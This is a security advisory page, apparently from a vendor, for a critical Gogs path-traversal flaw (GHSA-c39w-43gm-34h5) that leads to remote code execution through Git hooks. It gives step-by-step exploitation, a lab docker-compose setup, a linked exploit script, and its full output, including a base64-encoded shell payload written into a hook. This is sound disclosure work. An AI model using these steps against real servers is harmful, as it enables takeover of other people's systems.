GHSA-c39w-43gm-34h5 is a critical-severity (CVSS 10) CWE-23 vulnerability in gogs.io/gogs. O3 Security confirms whether GHSA-c39w-43gm-34h5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gogs has Path Traversal in organization name that results in RCE through Git hooks
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c39w-43gm-34h5.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c39w-43gm-34h5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem.
By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).
Details
During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.
Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.
An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.
The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):
- Create regular outer repository and get its ID
- Create organization named
../../../../data/gogs/data/tmp/local-r/{ID}/nested - Create a repository inside this organization (eg.
rce), which will be written into the local clone of the outer repository - From the outer repository, edit
nested/rce.git/hooks/updateto contain malicious shell commands - Interact with the
rcerepository again to trigger the updated hook, and RCE is achieved
PoC
- Set up a default Gogs instance by saving the following content to
docker-compose.ymland runningdocker compose up:
services:
db:
image: postgres:16-alpine
environment:
POSTGRES_USER: gogs
POSTGRES_PASSWORD: gogs
POSTGRES_DB: gogs
volumes:
- postgres-data:/var/lib/postgresql/data
restart: unless-stopped
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
interval: 5s
timeout: 5s
retries: 5
gogs:
image: gogs/gogs
depends_on:
db:
condition: service_healthy
ports:
- "3000:3000"
volumes:
- gogs-data:/data
restart: unless-stopped
volumes:
gogs-data:
postgres-data:
- Visit http://localhost:3000, set the Host to
db:5432and Password togogs. Under Admin Account Settings configure your admin account - As the attacker, register an account with username
attackerand passwordattackerat http://localhost:3000/user/sign_up - As the attacker, run the following script (in gist to avoid cluttering this advisory):
https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9
The output should look like:
$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
1 file changed, 1 insertion(+)
create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
b0b9886..3cf84b2 master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned
=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)
Impact
In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.14.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gogs.io/gogs to 0.14.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c39w-43gm-34h5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c39w-43gm-34h5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c39w-43gm-34h5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c39w-43gm-34h5 in your dependencies?
O3 detects GHSA-c39w-43gm-34h5 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.